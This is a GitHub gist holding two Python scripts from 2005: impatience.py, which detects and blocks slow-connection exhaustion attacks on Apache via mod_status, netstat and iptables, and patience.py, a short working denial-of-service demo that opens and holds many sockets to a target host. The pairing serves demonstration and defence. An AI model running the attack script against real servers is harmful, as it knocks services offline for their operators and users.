Skip to content

Instantly share code, notes, and snippets.

@tangentstorm
Created May 20, 2014 06:13
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tangentstorm/2306ba6a664a0c73dc47 to your computer and use it in GitHub Desktop.
Save tangentstorm/2306ba6a664a0c73dc47 to your computer and use it in GitHub Desktop.
#!/bin/env python
# * overview
"""
program to detect a patience attack on apache
shows a histogram of apache 'reading'
connections by ip addresses, data which
can then be used to block the attack.
usage: impatience.py --block
--block : kills the process and invokes blockip.py
to ban the ipaddress via iptables.
see patience.py for the attack.
---
(c) 2005 sabren enterprises inc [ http://cornerhost.com/ ]
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
[ http://www.gnu.org/copyleft/gpl.html ]
"""
# * depdencies
from __future__ import generators
import urllib
import socket
import os, sys
import time
# * config
hydrogen = "67.19.173.68"
my_ip = socket.gethostbyname(socket.gethostname())
# Note: in addition to mod_status, you need "ExtendedStatus On"
MOD_STATUS_PAGE = "http://%s/status?notable" % socket.gethostname()
IPTABLES = "/sbin/iptables"
# * ---
# * stillReading
def stillReading():
"""
parse mod_status page and return a list of
process id's that are still reading.
"""
data = urllib.urlopen(MOD_STATUS_PAGE).read()
for line in data.split("\n"):
if line.count("Read"):
pid = line[line.find("(")+1:line.find(")")]
yield pid
# * httpSessions
def httpSessions():
"""
yields a series of (address, pid) pairs for open http connections
"""
for lineNL in os.popen("/bin/netstat -pant | grep :80").read().split("\n"):
line = lineNL.strip()
if line.endswith("httpd"):
(proto, recvq, sendq, local_address,
foreign_address, state, pid_program_name) = line.split()
pid = pid_program_name.split("/")[0]
# -2 gets the ip address.. SHOULD work for ipv6 too..
yield foreign_address.split(":")[-2], pid
# * attackers
def attackers():
"""
yields a series of ( badguy, pid ) pairs
"""
victims = list(stillReading())
for ip, pid in httpSessions():
if pid in victims:
yield ip, pid
# * incidentMap
def incidentMap(series):
"""
returns dict of { ip : [pid] }
"""
hist = {}
for badguy, pid in attackers():
hist.setdefault(badguy, [])
hist[badguy].append(pid)
return hist
# * incidents
def incidents(series):
"""
yields a series of (ip, [pid]) pairs
"""
data = incidentMap(series)
ips = data.keys()
ips.sort(lambda a,b: cmp(len(data[a]), len(data[b])))
for badguy in ips:
yield badguy, data[badguy]
# * block
def block(series, threshold):
for badguy, pids in series:
evil = bool(len(pids) >= threshold)
if evil:
for pid in pids:
os.system("kill -KILL %s" % pid)
# block for 1 minute
if badguy not in [hydrogen, my_ip]:
os.system(IPTABLES + " -A INPUT -s %s -p tcp -j DROP" % badguy)
#os.system("blacklist block %s 60" % badguy)
yield badguy, pids, evil
# * loop
def loop(delay, series, threshold):
while True:
time.sleep(delay)
os.popen(IPTABLES + " --flush")
#print "flushing..."
for badguy, pids, blocked in block(incidents(series), threshold):
if blocked:
pass #print "blocked %s" % badguy
# * ---
# * main
if __name__=="__main__":
threshold = 5
if "-t" in sys.argv:
try:
threshold = int(sys.argv[sys.argv.index("-t")+1])
except:
print "-t requires an argument ( threshold value )"
sys.exit()
if "--all" in sys.argv:
# use all connectoins
series = httpSessions()
else:
# limit to 'reading' connections
# (by cross referencing with mod_status
series = attackers()
if "--loop" in sys.argv:
try:
delay = int(sys.argv[sys.argv.index("--loop")+1])
except:
print "-t requires an argument ( threshold value )"
sys.exit()
else:
loop(delay, series, threshold)
else:
# show histogram
for badguy, pids, blocked in block(incidents(series), threshold):
sys.stdout.write("%-15s %3s %s"
% (badguy, len(pids), "*" * len(pids)))
if blocked:
sys.stdout.write(" - blocked!")
# end of the line :)
sys.stdout.write("\n")
#!/bin/env python
"""
patience attack demo (denial of service)
opens multiple socket connections to
a target host / port, in hopes of
reaching the service's maximum
number of open sockets.
Relies on the server having enough
patience to keep the socket open.
(eg, apache defaults to 300seconds)
see impatience.py to diagnose the attack.
---
(c) 2005 sabren enterprises inc [ http://cornerhost.com/ ]
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
[ http://www.gnu.org/copyleft/gpl.html ]
"""
import sys
import socket
def attack(host, port):
s = socket.socket()
s.connect((host, port))
return s
if __name__=="__main__":
try:
_, host, _port, _count = sys.argv
port = long(_port)
count = long(_count)
except:
print "usgage: patience.py host port count"
else:
patience = [attack(host, port) for each in range(count)]
print "holding %s connections to %s on port %s..." % (count, host, port)
while True: continue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment